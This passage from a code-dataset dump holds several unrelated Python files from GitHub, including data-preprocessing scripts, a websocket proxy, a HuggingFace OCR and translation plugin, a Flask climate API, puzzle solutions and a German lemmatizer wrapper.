timestamp_transfer_hours.str[:8]\n data.timestamp_transfer =timestamp_transfer_date +\" \"+timestamp_transfer_hours #Combine Days and Hours in one column\n data['timestamp_transfer'] = pd.to_datetime(data.timestamp_transfer) #Convert to actual timestamps\n\n #for timestamp_measure_position\n timestamp_measure_position_date= data['timestamp_measure_position'].str.split(' ').str[0] #Just the Days of the Timestamp\n timestamp_measure_position_date = timestamp_measure_position_date.replace(to_replace=day_list, value=date_list) #change Days to actual date e.g. 42 days -> 2020-02-11\n timestamp_measure_position_hours = data['timestamp_measure_position'].str.split(' ').str[2] #Just the Time of the Timestamp\n timestamp_measure_position_hours = timestamp_measure_position_hours.str[:8]\n data.timestamp_measure_position =timestamp_measure_position_date +\" \"+timestamp_measure_position_hours #Combine Days and Hours in one column\n data['timestamp_measure_position'] = pd.to_datetime(data.timestamp_measure_position) #Convert to actual timestamps\n\n #add coloumn with delta timestamp in seconds\n data['delta_timestamps'] = (data.timestamp_transfer - data.timestamp_measure_position).dt.total_seconds()\n\n # Change the coordinates to geoPoints\n data['coordinates'] = data[['longitude', 'latitude']].values.tolist()\n data['coordinates'] = data['coordinates'].apply(Point)\n data = gpd.GeoDataFrame(data, geometry='coordinates')\n\n #changing delta_timestamps from seconds to qualitative value\n data['delta_timestamps'] = np.where(data['delta_timestamps'].between(-10000,60), 1, data['delta_timestamps'])\n data['delta_timestamps'] = np.where(data['delta_timestamps'].between(60,300), 2, data['delta_timestamps'])\n data['delta_timestamps'] = np.where(data['delta_timestamps'].between(300,900), 3, data['delta_timestamps'])\n data['delta_timestamps'] = np.where(data['delta_timestamps'].between(900,3600), 4, data['delta_timestamps'])\n data['delta_timestamps'] = np.where(data['delta_timestamps']>3600, 5, data['delta_timestamps'])\n\n #Plot delta_timestamps on europe map\n data.plot(ax=axes[0], column='delta_timestamps', marker=\"o\", markersize=1, cmap=cmap, legend=True)\n axes[0].set_title('delta_timestamps')\n axes[0].yaxis.set_visible(False)\n axes[0].xaxis.set_visible(False)\n\n #Plot provider on europe map\n data.plot(ax=axes[1], column='provider', marker=\"o\", markersize=10, cmap='cool', legend=True, alpha=0.1)\n axes[1].set_title('provider')\n axes[1].yaxis.set_visible(False)\n axes[1].xaxis.set_visible(False)\n\nfor i in range(0, 40):\n prov_i= data.loc[data['provider'] == i]\n print(prov_i['delta_timestamps'].mean(), prov_i['delta_timestamps'].var())\n \ndata_heatmap = data[['signal_quality_satellite',\n 'signal_quality_hdop',\n 'provider',\n 'delta_timestamps'\n ]].copy()\n \ncorr = data_heatmap.corr()\nprint(corr)\nprint(data)\nplt.show()\n\n\n\n\n#data = data[data['movement_state'].notna()] #deleting rows which contain NAN values in specific columns\n#data=data.replace(to_replace=['parking', 'standing', 'moving'], value=[1, 2, 3]) #replacing strings with int\n#data=data.replace(to_replace=['Leer', 'Beladen'], value=[0, 1]) #replacing strings with int\n#msn.bar(data, color='darkolivegreen') #checking on missing values","repo_name":"pizzapuul/MLA_2122","sub_path":"Aufgabe 2/preprocessing_data - backup.py","file_name":"preprocessing_data - backup.py","file_ext":"py","file_size_in_byte":6009,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"44483879368","text":"from PIL import Image\nimport sys\n\nim = Image.open('test.jpg')\nprint(im.format, im.size, im.mode)\nim.thumbnail((375,667))\nim.save('new.jpg', 'JPEG')\n\nprint(sys.path)\nsys.path.append('/Users/michael/my_py_scripts')\nprint(sys.path)\n","repo_name":"starry001/Python3Lesson","sub_path":"module/testModule.py","file_name":"testModule.py","file_ext":"py","file_size_in_byte":230,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"73711884201","text":"import ssl\nimport asyncio\n\nimport websockets\n\n\nclass WProxy(object):\n \n def __init__(self, *args, **kwargs):\n self.host = kwargs.get('host', '0.0.0.0')\n self.port = kwargs.get('port', 8765)\n self.url = kwargs.get('url', '')\n self.ssl_cert = kwargs.get('ssl_cert', '')\n self.ssl_key = kwargs.get('ssl_key', '')\n self.extra_headers = kwargs.get('extra_headers', {})\n self.ssl_context = None\n\n if not self.url:\n raise Exception(\"Please specify url\")\n \n if self.ssl_cert and self.ssl_key:\n self.ssl_context = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)\n self.ssl_context.load_cert_chain(self.ssl_cert, keyfile=self.ssl_key)\n\n def load_headers_from_args(self, headers):\n if headers is not None:\n for header in headers:\n split_str = header.split(\":\")\n self.extra_headers[split_str[0].strip()] = split_str[1].strip()\n \n async def __send_message(self, from_server, to_server):\n async for message in from_server:\n await to_server.send(message)\n\n async def __on_connection(self, websocket, path):\n loop = asyncio.get_event_loop()\n this_url = self.url + path\n async with websockets.connect(this_url) as ws:\n client_to_server = loop.create_task(self.__send_message(ws, websocket))\n server_to_client = loop.create_task(self.__send_message(websocket, ws))\n await client_to_server\n await server_to_client\n\n def run(self):\n server = websockets.serve(self.__on_connection, self.host, self.port, ssl=self.ssl_context, extra_headers=self.extra_headers)\n asyncio.get_event_loop().run_until_complete(server)\n asyncio.get_event_loop().run_forever()","repo_name":"six519/wproxy","sub_path":"wproxy/wproxy.py","file_name":"wproxy.py","file_ext":"py","file_size_in_byte":1802,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"24635674113","text":"import logging\nimport os\nfrom pathlib import Path\n\nimport torch\nfrom ocr_translate import models as m\nfrom PIL import Image\nfrom transformers import (AutoImageProcessor, AutoModel, AutoModelForSeq2SeqLM,\n AutoTokenizer, M2M100Tokenizer,\n VisionEncoderDecoderModel)\n\nlogger = logging.getLogger('plugin')\n\nclass Loaders():\n \"\"\"Generic functions to load HuggingFace's Classes.\"\"\"\n accept_device = ['ved_model', 'seq2seq', 'model']\n\n mapping = {\n 'tokenizer': AutoTokenizer,\n 'ved_model': VisionEncoderDecoderModel,\n 'model': AutoModel,\n 'image_processor': AutoImageProcessor,\n 'seq2seq': AutoModelForSeq2SeqLM\n }\n\n @staticmethod\n def _load(loader, model_id: str, root: Path):\n \"\"\"Use the specified loader to load a transformers specific Class.\"\"\"\n try:\n mid = root / model_id\n logger.debug(f'Attempt loading from store: \"{loader}\" \"{mid}\"')\n res = loader.from_pretrained(mid)\n except Exception:\n # Needed to catch some weird exception from transformers\n # eg: huggingface_hub.utils._validators.HFValidationError: Repo id must use alphanumeric chars or\n # '-', '_', '.', '--' and '..' are forbidden, '-' and '.'\n # cannot start or end the name, max length is 96: ...\n logger.debug(f'Attempt loading from cache: \"{loader}\" \"{model_id}\" \"{root}\"')\n res = loader.from_pretrained(model_id, cache_dir=root)\n return res\n\n @staticmethod\n def load(model_id: str, request: list[str], root: Path, dev: str = 'cpu') -> list:\n \"\"\"Load the requested HuggingFace's Classes for the model into the memory of the globally specified device.\n\n Args:\n model_id (str): The HuggingFace model id to load, or a path to a local model.\n request (list[str]): A list of HuggingFace's Classes to load.\n root (Path): The root path to use for the cache.\n\n Raises:\n ValueError: If the model_id is not found or if the requested Class is not supported.\n\n Returns:\n _type_: A list of the requested Classes.\n \"\"\" \"\"\"\"\"\"\n res = {}\n for r in request:\n if r not in Loaders.mapping:\n raise ValueError(f'Unknown request: {r}')\n cls = Loaders._load(Loaders.mapping[r], model_id, root)\n if cls is None:\n raise ValueError(f'Could not load model: {model_id}')\n\n if r in Loaders.accept_device:\n cls = cls.to(dev)\n\n res[r] = cls\n\n return res\n\n\ndef get_mnt(ntok: int, options: dict) -> int:\n \"\"\"Get the maximum number of new tokens to generate.\"\"\"\n min_max_new_tokens = int(options.get('min_max_new_tokens', 20))\n max_max_new_tokens = int(options.get('max_max_new_tokens', 512))\n max_new_tokens_ratio = float(options.get('max_new_tokens_ratio', 3.0)\n)\n if min_max_new_tokens > max_max_new_tokens:\n raise ValueError('min_max_new_tokens must be less than max_max_new_tokens')\n\n mnt = min(\n max_max_new_tokens,\n max(\n min_max_new_tokens,\n max_new_tokens_ratio * ntok\n )\n )\n return int(mnt)\n\nclass EnvMixin():\n \"\"\"Mixin to allow usage of environment variables.\"\"\"\n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n self.dev = os.environ.get('DEVICE', 'cpu')\n self.root = Path(os.environ.get('TRANSFORMERS_CACHE', '.'))\n logger.debug(f'Cache dir: {self.root}')\n\nclass HugginfaceSeq2SeqModel(m.TSLModel, EnvMixin):\n \"\"\"OCRtranslate plugin to allow loading of hugginface seq2seq model as translator.\"\"\"\n ALLOWED_OPTIONS = {\n **m.TSLModel.ALLOWED_OPTIONS,\n 'min_max_new_tokens': {\n 'type': int,\n 'default': 20,\n 'description': 'Minimum number for the maximum number of tokens to generate.',\n },\n 'max_max_new_tokens': {\n 'type': int,\n 'default': 512,\n 'description': 'Maximum number for the maximum number of tokens to generate.',\n },\n 'max_new_tokens_ratio': {\n 'type': float,\n 'default': 3,\n 'description': 'Attempts to generate `ratio` * `#original_tokens` tokens during translation.',\n },\n }\n\n class Meta: # pylint: disable=missing-class-docstring\n proxy = True\n\n def __init__(self, *args, **kwargs):\n \"\"\"Initialize the model.\"\"\"\n super().__init__(*args, **kwargs)\n self.tokenizer = None\n self.model = None\n\n def load(self):\n \"\"\"Load the model into memory.\"\"\"\n logger.info(f'Loading TSL model: {self.name}')\n res = Loaders.load(self.name, request=['seq2seq', 'tokenizer'], root=self.root, dev=self.dev)\n self.model = res['seq2seq']\n self.tokenizer = res['tokenizer']\n\n def unload(self) -> None:\n \"\"\"Unload the model from memory.\"\"\"\n if self.model is not None:\n del self.model\n self.model = None\n if self.tokenizer is not None:\n del self.tokenizer\n self.tokenizer = None\n\n if self.dev == 'cuda':\n torch.cuda.empty_cache()\n\n\n def _translate(\n self,\n tokens: list[str] | list[list[str]],\n src_lang: str, dst_lang: str,\n options: dict = None\n ) -> str | list[str]:\n \"\"\"Translate a text using a the loaded model.\n\n Args:\n tokens (list): list or list[list] of string tokens to be translated.\n lang_src (str): Source language.\n lang_dst (str): Destination language.\n options (dict, optional): Options for the translation. Defaults to {}.\n\n Raises:\n TypeError: If text is not a string or a list of strings.\n\n Returns:\n Union[str,list[str]]: Translated text. If text is a list, returns a list of translated strings.\n \"\"\"\n if self.model is None or self.tokenizer is None:\n raise RuntimeError('Model not loaded')\n if options is None:\n options = {}\n if not isinstance(tokens, list):\n raise TypeError('tokens must be a list of strings or a list of list of strings')\n\n logger.debug(f'TSL: {tokens}')\n if len(tokens) == 0:\n return ''\n\n self.tokenizer.src_lang = src_lang\n encoded = self.tokenizer(\n tokens,\n return_tensors='pt',\n padding=True,\n truncation=True,\n is_split_into_words=True\n )\n ntok = encoded['input_ids'].shape[1]\n encoded.to(self.dev)\n\n mnt = get_mnt(ntok, options)\n\n kwargs = {\n 'max_new_tokens': mnt,\n }\n if isinstance(self.tokenizer, M2M100Tokenizer):\n kwargs['forced_bos_token_id'] = self.tokenizer.get_lang_id(dst_lang)\n\n logger.debug(f'TSL ENCODED: {encoded}')\n logger.debug(f'TSL KWARGS: {kwargs}')\n generated_tokens = self.model.generate(\n **encoded,\n **kwargs,\n )\n\n tsl = self.tokenizer.batch_decode(generated_tokens, skip_special_tokens=True)\n logger.debug(f'TSL: {tsl}')\n\n if isinstance(tokens[0], str):\n tsl = tsl[0]\n\n if self.dev == 'cuda':\n torch.cuda.empty_cache()\n\n return tsl\n\n # def translate_batch(self, texts):\n # \"\"\"Translate a batch of texts.\"\"\"\n # raise NotImplementedError\n\nclass HugginfaceVEDModel(m.OCRModel, EnvMixin):\n \"\"\"OCRtranslate plugin to allow loading of hugginface VisionEncoderDecoder model as text OCR.\"\"\"\n class Meta: # pylint: disable=missing-class-docstring\n proxy = True\n\n def __init__(self, *args, **kwargs):\n \"\"\"Initialize the model.\"\"\"\n super().__init__(*args, **kwargs)\n self.tokenizer = None\n self.model = None\n self.image_processor = None\n\n def load(self):\n \"\"\"Load the model into memory.\"\"\"\n logger.info(f'Loading OCR VED model: {self.name}')\n res = Loaders.load(\n self.name, request=['ved_model', 'tokenizer', 'image_processor'],\n root=self.root, dev=self.dev\n )\n self.model = res['ved_model']\n self.tokenizer = res['tokenizer']\n self.image_processor = res['image_processor']\n\n def unload(self) -> None:\n \"\"\"Unload the model from memory.\"\"\"\n if self.model is not None:\n del self.model\n self.model = None\n if self.tokenizer is not None:\n del self.tokenizer\n self.tokenizer = None\n if self.image_processor is not None:\n del self.image_processor\n self.image_processor = None\n\n if self.dev == 'cuda':\n torch.cuda.empty_cache()\n\n def _ocr(\n self,\n img: Image.Image, lang: str = None, options: dict = None\n ) -> str:\n \"\"\"Perform OCR on an image.\n\n Args:\n img (Image.Image): A Pillow image on which to perform OCR.\n lang (str, optional): The language to use for OCR. (Not every model will use this)\n bbox (tuple[int, int, int, int], optional): The bounding box of the text on the image in lbrt format.\n options (dict, optional): A dictionary of options to pass to the OCR model.\n\n Raises:\n TypeError: If img is not a Pillow image.\n\n Returns:\n str: The text extracted from the image.\n \"\"\"\n if self.model is None or self.tokenizer is None or self.image_processor is None:\n raise RuntimeError('Model not loaded')\n\n if options is None:\n options = {}\n\n pixel_values = self.image_processor(img, return_tensors='pt').pixel_values\n if self.dev == 'cuda':\n pixel_values = pixel_values.cuda()\n generated_ids = self.model.generate(pixel_values)\n generated_text = self.tokenizer.batch_decode(generated_ids, skip_special_tokens=True)[0]\n\n if self.dev == 'cuda':\n torch.cuda.empty_cache()\n\n return generated_text\n","repo_name":"Crivella/ocr_translate-hugging_face","sub_path":"ocr_translate_hugging_face/plugin.py","file_name":"plugin.py","file_ext":"py","file_size_in_byte":10182,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"42201984567","text":"\n# 1. import Flask\nfrom flask import Flask, jsonify\n\n# %matplotlib inline\n# from matplotlib import style\n# style.use('fivethirtyeight')\n# import matplotlib.pyplot as plt\n\nimport numpy as np\nimport pandas as pd\nimport datetime as dt\n\n\nimport sqlalchemy\nfrom sqlalchemy.ext.automap import automap_base\nfrom sqlalchemy.orm import Session\nfrom sqlalchemy import create_engine\nfrom sqlalchemy import func\n\n###########################################################################\nengine = create_engine(\"sqlite:///Resources/hawaii.sqlite\")\n\nBase = automap_base()\n\n # reflect the tables\nBase.prepare(engine, reflect =True)\n\nBase.classes.keys()\n\nsession = Session(engine)\n\nStation = Base.classes.station\nMeasurement = Base.classes.measurement\n\n\napp = Flask(__name__)\n###################################################################\n@app.route(\"/\")\ndef welcome():\n \"\"\"List all available api routes.\"\"\"\n return (\n f\"Available Routes:<br/>\"\n f\"/api/v1.0/precipitation<br/>\"\n f\"/api/v1.0/stations<br/>\"\n f\"/api/v1.0/tobs<br/><br/>\"\n f\"/api/v1.0/<start><br/>\"\n f\"Enter startdate in yyyy-mm-dd format<br/>\"\n f\"/api/v1.0/<start>/<end><br/>\"\n f\"Enter startdate/enddate in yyyy-mm-dd format<br/>\"\n )\n#####################################################################\n@app.route(\"/api/v1.0/precipitation\")\ndef precipitation():\n session = Session(engine)\n year_ago = dt.date(2017, 8, 23) - dt.timedelta(days=365)\n\n results = session.query(Measurement.date, Measurement.prcp).filter(Measurement.date >= year_ago).\\\n order_by(Measurement.date).all()\n\n session.close()\n\n all_rain = []\n for mdate, mprcp in results:\n rain_dict = {}\n rain_dict[\"date\"] = mdate\n rain_dict[\"prcp\"] = mprcp\n all_rain.append(rain_dict)\n\n return_list = jsonify(all_rain)\n return return_list\n \n######################################################################\n@app.route(\"/api/v1.0/stations\")\ndef stations():\n session = Session(engine)\n # recent_date = session.query(Measurement.date).order_by(Measurement.date.desc()).first()\n # return recent_date\n results = session.query(Station.id, Station.station, Station.name).all()\n\n session.close()\n\n all_stations = []\n for mid, mstation, mname in results:\n station_dict = {}\n station_dict[\"ID\"] = mid\n station_dict[\"Station\"] = mstation\n station_dict[\"Name\"] = mname\n all_stations.append(station_dict)\n\n return_list = jsonify(all_stations)\n return return_list\n \n##################################################################\n\n@app.route(\"/api/v1.0/tobs\")\ndef tobs():\n \n session = Session(engine)\n year_ago = dt.date(2017, 8, 23) - dt.timedelta(days=365)\n\n\n results = session.query(Measurement.date, Measurement.tobs).\\\n filter(Measurement.date >= year_ago).\\\n filter(Measurement.station == \"USC00519281\").all()\n\n session.close()\n\n all_temps = []\n for mdate, mtemp in results:\n temp_dict = {}\n temp_dict[\"Date\"] = mdate\n temp_dict[\"Temp\"] = mtemp\n all_temps.append(temp_dict)\n \n \n return_list = jsonify(all_temps)\n return return_list\n \n# ####################################################\n#act 3-3; https://stackoverflow.com/questions/59986871/\n# do-optional-routing-parameters-in-flask-need-to-be-set-to-none-in-a-function\n\n# # https://pythonexamples.org/python-if-not/\n\n@app.route(\"/api/v1.0/<start>/\") \ndef tobstart(start):\n\n session = Session(engine)\n\n sel = [func.min(Measurement.tobs), \n func.max(Measurement.tobs),\n func.avg(Measurement.tobs)]\n\n \n results = session.query(*sel).\\\n filter(Measurement.date >= start).all()\n \n tobs = list(np.ravel(results))\n return_list = jsonify(tobs)\n return return_list\n \n session.close()\n\n ############################################################\n\n@app.route(\"/api/v1.0/<start>/<end>\") \ndef tobend(start, end):\n\n session = Session(engine)\n\n sel = [func.min(Measurement.tobs), \n func.max(Measurement.tobs),\n func.avg(Measurement.tobs)]\n\n \n results = session.query(*sel).\\\n filter(Measurement.date >= start).all().\\\n filter(Measurement.date <= end).all()\n \n\n tobs = list(np.ravel(results))\n return_list = jsonify(tobs)\n return return_list\n\n # results = session.query(*sel).\\\n # filter(Measurement.date >= start).\\\n # filter(Measurement.date <= end).all()\n \n # tobs = list(np.ravel(results))\n # return_list = jsonify(tobs)\n # return return_list\n\nsession.close()\n\n \n\n\n# @app.route(\"/api/v1.0/<start>/\") \n# def tobstart(start):\n\n\n # # start_date = (YYYY, M, DD)\n # end_date = (2017, 8, 23)\n\n\n # results = session.query( \n # func.min(Measurement.tobs), \n # func.max(Measurement.tobs),\n # func.avg(Measurement.tobs)).\\\n # filter(Measurement.date >= start).all().\\\n # filter(Measurement.date <= end_date)\n\n # # \n\n # temp_summary = []\n # for mmin, mmax, mavg in results:\n # temp_dict = {}\n # temp_dict[\"MinTemp\"] = mmin\n # temp_dict[\"MaxTemp\"] = mmax\n # temp_dict[\"AvgTemp\"] = mavg\n\n # temp_summary.append(temp_dict)\n\n # return_list = jsonify(temp_summary)\n # return return_list\n\n# @app.route(\"/api/v1.0/<start>/<end><br/>\") \n# def summarySE():\n\n# start_date = (YYYY, M, DD)\n# end_date = (YYYY, M, DD)\n\n\n# session.query(Measurement.station, \n# func.min(Measurement.tobs), \n# func.max(Measurement.tobs),\n# func.avg(Measurement.tobs)).\\\n \n# filter(Measurement.date >= start_date).\\\n# filter(Measurement.date <= end_date)\n\n\n\n# session.close()\n\nif __name__ == \"__main__\":\n # print(home())\n app.run(debug=True)\n","repo_name":"D11eleven/sqlalchemy-challenge","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":6030,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"24592326","text":"\"\"\"\nhttps://quera.org/problemset/102254/\nAuthor: https://github.com/smh997/\n\"\"\"\ns = input()\nss = 'a'\nwhile True:\n if s == ss:\n print(s)\n break\n ss = s\n s = []\n for i in range(10):\n if str(i) in ss:\n s += str(i)\n c = ss.count(str(i))\n if c > 1:\n s += str(c)\n s = ''.join(sorted(s))\n","repo_name":"smh997/Problem-Solving","sub_path":"Online Judges/Quera/فشرده‌سازی خاص.py","file_name":"فشرده‌سازی خاص.py","file_ext":"py","file_size_in_byte":365,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"18"} +{"seq_id":"72655461159","text":"# Start time: 13:12\n# End time: 13:17\n\nimport aocd\n\ndata = \"\"\"1721\n979\n366\n299\n675\n1456\"\"\"\n\ndata = aocd.get_data(year=2020, day=1)\n\n\ndef get_answer(data: str) -> int:\n \"\"\"\n Find two numbers that add up to 2020 in data, then multiply them together.\n \"\"\"\n\n data = [int(line) for line in data.splitlines()]\n for i in range(len(data)):\n for j in range(i + 1, len(data)):\n if data[i] + data[j] == 2020:\n return data[i] * data[j]\n\n\nprint(get_answer(data))\n\n\n# To use aocd, you need to set the environment variable AOC_SESSION to your session cookie.\n# To get your AOC_SESSION cookie, open the developer console in your browser, and copy the value of the session cookie.\n","repo_name":"LomaxOnTheRun/advent-of-code","sub_path":"2020/day_1/part_1.py","file_name":"part_1.py","file_ext":"py","file_size_in_byte":712,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"70459887080","text":"import logging\nimport json\nimport io\nfrom os.path import dirname, realpath, join\n\nFILE_PATH = dirname(realpath(__file__))\n\n\nclass CustomIWNLPLemmatizer(object):\n def __init__(self, lemmatizer_path=join(FILE_PATH,\"lib\",\"IWNLP.Lemmatizer_20170501.json\")):\n self.lemmatizer = {}\n with io.open(lemmatizer_path, encoding='utf-8') as data_file:\n raw = json.load(data_file)\n for entry in raw:\n self.lemmatizer[entry[\"Form\"]] = entry[\"Lemmas\"]\n # parser error in 20170501.json\n self.remove_entry(\"die\", \"Noun\", \"Adsorbens\")\n\n def remove_entry(self, form, pos, lemma):\n key = form.lower().strip()\n if key in self.lemmatizer:\n wrong_entry = {\"POS\": pos, \"Form\": form, \"Lemma\": lemma}\n if wrong_entry in self.lemmatizer[key]:\n self.lemmatizer[key].remove(wrong_entry)\n\n def contains_entry(self, word, pos=None, ignore_case=False):\n key = word.lower().strip()\n if not pos:\n if ignore_case:\n return key in self.lemmatizer\n else:\n return key in self.lemmatizer and any(filter(lambda x: x[\"Form\"] == word, self.lemmatizer[key]))\n elif not isinstance(pos, list):\n if ignore_case:\n return key in self.lemmatizer and any(filter(lambda x: x[\"POS\"] == pos, self.lemmatizer[key]))\n else:\n return key in self.lemmatizer and any(\n filter(lambda x: x[\"POS\"] == pos and x[\"Form\"] == word, self.lemmatizer[key]))\n else:\n for pos_entry in pos:\n if self.contains_entry(word, pos_entry, ignore_case):\n return True\n return False\n\n def get_entries(self, word, pos=None, ignore_case=False):\n entries = []\n key = word.lower().strip()\n if not pos:\n if ignore_case:\n entries = self.lemmatizer[key]\n else:\n entries = list(filter(lambda x: x[\"Form\"] == word, self.lemmatizer[key]))\n elif not isinstance(pos, list):\n if ignore_case:\n entries = list(filter(lambda x: x[\"POS\"] == pos, self.lemmatizer[key]))\n else:\n entries = list(filter(lambda x: x[\"POS\"] == pos and x[\"Form\"] == word, self.lemmatizer[key]))\n else:\n for pos_entry in pos:\n if self.contains_entry(word, pos=pos_entry, ignore_case=ignore_case):\n entries.extend(self.get_entries(word, pos_entry, ignore_case))\n return entries\n\n def get_lemmas(self, word, pos=None, ignore_case=False):\n \"\"\"\n Return all lemmas for a given word. This method assumes that the specified word is present in the dictionary\n :param word: Word that is present in the IWNLP lemmatizer\n \"\"\"\n entries = self.get_entries(word, pos, ignore_case)\n lemmas = list(set([entry[\"Lemma\"] for entry in entries]))\n return sorted(lemmas)\n\n def lemmatize_plain(self, word, ignore_case=False):\n if self.contains_entry(word, ignore_case=ignore_case):\n return self.get_lemmas(word, ignore_case=ignore_case)\n else:\n return None\n\n def lemmatize(self, word, udPos):\n \"\"\"\n Python port of the lemmatize method, see https://github.com/Liebeck/IWNLP.Lemmatizer/blob/master/IWNLP.Lemmatizer.Predictor/IWNLPSentenceProcessor.cs\n\n \"\"\"\n # do not process empty strings\n if(not(word)):\n raise ValueError(\"Empty String!\")\n # valid pos = N,V,ADJ,ADV\n elif(not(udPos in [\"NOUN\",\"VERB\",\"ADJ\",\"ADV\",\"AUX\"])):\n return word\n\n if udPos == 'NOUN':\n if len(word) > 1 and word[0].islower():\n word = word[0].upper() + word[1:]\n else:\n word = word.lower()\n\n if udPos == \"NOUN\":\n if self.contains_entry(word, \"Noun\"):\n return self.get_lemmas(word, \"Noun\")\n elif self.contains_entry(word, \"X\"):\n return self.get_lemmas(word, \"X\")\n elif self.contains_entry(word, \"AdjectivalDeclension\"):\n return self.get_lemmas(word, \"AdjectivalDeclension\")\n elif self.contains_entry(word, [\"Noun\", \"X\"], ignore_case=True):\n return self.get_lemmas(word, [\"Noun\", \"X\"], ignore_case=True)\n else:\n return None\n elif udPos in [\"ADJ\", \"ADV\"]:\n if self.contains_entry(word, \"Adjective\"):\n return self.get_lemmas(word, \"Adjective\")\n elif self.contains_entry(word, \"Adjective\", ignore_case=True):\n return self.get_lemmas(word, \"Adjective\", ignore_case=True)\n # Account for possible errors in the POS tagger. This order was fine-tuned in terms of accuracy\n elif self.contains_entry(word, \"Noun\", ignore_case=True):\n return self.get_lemmas(word, \"Noun\", ignore_case=True)\n elif self.contains_entry(word, \"X\", ignore_case=True):\n return self.get_lemmas(word, \"X\", ignore_case=True)\n elif self.contains_entry(word, \"Verb\", ignore_case=True):\n return self.get_lemmas(word, \"Verb\", ignore_case=True)\n else:\n return None\n elif udPos in [\"VERB\", \"AUX\"]:\n if self.contains_entry(word, \"Verb\", ignore_case=True):\n return self.get_lemmas(word, \"Verb\", ignore_case=True)\n else:\n return None\n else:\n return None\n","repo_name":"kfritsch/masterarbeit","sub_path":"dataAnalysis/featureExtraction/customIWNLPLemmatizer.py","file_name":"customIWNLPLemmatizer.py","file_ext":"py","file_size_in_byte":5557,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"37151455945","text":"#objectives\n#1) sort log entries by date/minute\n#2) find the Guard# with the most minutes of sleep\n#3) for the Guard# with the most minutes of sleep, what minute does that guard spend asleep the most?\n#4) What is the ID of the guard you chose multiplied by the minute you chose?\nimport re\n\n\ndef read_file(filename):\n with open(filename) as file:\n log_lines = []\n for line in file:\n log_lines.append(line)\n log_lines.sort()\n return log_lines\n\n\ndef find_guard_that_sleeps_most(lines):\n guards_total_sleep = {}\n for line in lines:\n if 'begins shift' in line:\n guard_id = line.split()[3]\n elif 'falls asleep' in line:\n time = re.search('\\d{2}:\\d{2}(?=] )',line)\n start_time = time.group(0).replace(\"00:\", \"\")\n elif 'wakes up' in line:\n time = re.search('\\d{2}:\\d{2}(?=] )',line)\n end_time = time.group(0).replace(\"00:\", \"\")\n sleep_time = int(end_time) - int(start_time)\n if guard_id in guards_total_sleep:\n guards_total_sleep[guard_id] += sleep_time\n else:\n guards_total_sleep[guard_id] = sleep_time\n else:\n print(\"No if blocks matched for line\")\n guard_with_most_sleep = \"\"\n otherkey, othervalue = next(iter(guards_total_sleep.items()))\n for k, v in guards_total_sleep.items():\n if v > othervalue:\n guard_with_most_sleep = k\n otherkey, othervalue = k, v\n else:\n guard_with_most_sleep = otherkey\n return guard_with_most_sleep\n\n\ndef most_popular_min_of_sleep_for_guard(guard_id, lines):\n minute_dict = {}\n guard_id_found = False\n for line in lines:\n if guard_id in line:\n guard_id_found = True\n elif 'falls asleep' in line and guard_id_found == True:\n time = re.search('\\d{2}:\\d{2}(?=] )',line)\n start_time = time.group(0).replace(\"00:\", \"\")\n elif 'wakes up' in line and guard_id_found == True:\n time = re.search('\\d{2}:\\d{2}(?=] )',line)\n end_time = time.group(0).replace(\"00:\", \"\")\n for min in range(int(start_time), int(end_time)):\n if min in minute_dict:\n minute_dict[min] += 1\n else:\n minute_dict[min] = 1\n else:\n guard_id_found = False\n\n most_popular_minute = \"\"\n otherkey, othervalue = next(iter(minute_dict.items()))\n for k, v in minute_dict.items():\n if int(v) > int(othervalue):\n most_popular_minute = k\n otherkey, othervalue = k, v\n else:\n most_popular_minute = otherkey\n return most_popular_minute\n\n\nif __name__ == '__main__':\n lines = read_file(\"input.txt\")\n guard_with_most_sleep = find_guard_that_sleeps_most(lines)\n minute = most_popular_min_of_sleep_for_guard(guard_with_most_sleep, lines)\n print(\"minute: {}\".format(minute))\n guard = guard_with_most_sleep.replace(\"#\", \"\")\n print(\"guard: {}\".format(guard))\n puzzle_answer = int(guard) * minute\n print(puzzle_answer)","repo_name":"wes-novack/adventofcode","sub_path":"2018/day4/puzzle1.py","file_name":"puzzle1.py","file_ext":"py","file_size_in_byte":3107,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"16239810200","text":"import pandas as pd\nimport numpy as np\nfrom PIL import Image\nimport cv2\nimport gc\n#get_ipython().run_line_magic('matplotlib', 'inline')\nimport os\nfrom os import getcwd\nimport glob\nimport matplotlib.pyplot as plt\nimport matplotlib.cm as cm\nimport seaborn as sns\nfrom sklearn.model_selection import train_test_split\n\n# AffectNet\nfer2021_data = pd.read_csv('fer2021.csv')\nfer2021_data.columns\nemotions_names = {0: 'Angry', 1: 'Disgust', 2: 'Fear', 3: 'Happy', 4: 'Sad', 5: 'Surprise', 6: 'Neutral'}\nfer2021_data['emotion_name'] = fer2021_data['emotion'].map(emotions_names)\nfer2021_data.shape\nfer2021_data.index\nfer2021_data.tail(3)\nfer2021_data.sample(n=3)\nfer2021_data['Usage'].unique()\nfer2021_data.emotion_name.value_counts()\nfer2021_data.dtypes\nfer2021_data.pixels.dtype\nfer2021_data.isna().any()\n\n# Preprocessing images\npixels_values = fer2021_data.pixels.str.split(\" \").tolist()\npixels_values = pd.DataFrame(pixels_values, dtype=int)\npixels_values\nimages = pixels_values.values\nimages = images.astype(np.float)\n\ntest_idx_start = 32298\nimages_test = images[test_idx_start:]\n\n# Function for displaying 15 random images\ndef show_random(imgs, emotion_nms_org = None, emotion_nms_pred = None, random = True, indices = None):\n \"\"\"\n\n Function displaying 15 randomly chosen images. Arguments:\n\n imgs: Source of images\n\n emotion_nms_org: Default \"None\", if specified, should be a Pandas Series object consisting of emotion names. As a result, emotion name will be displayed above every image.\n\n 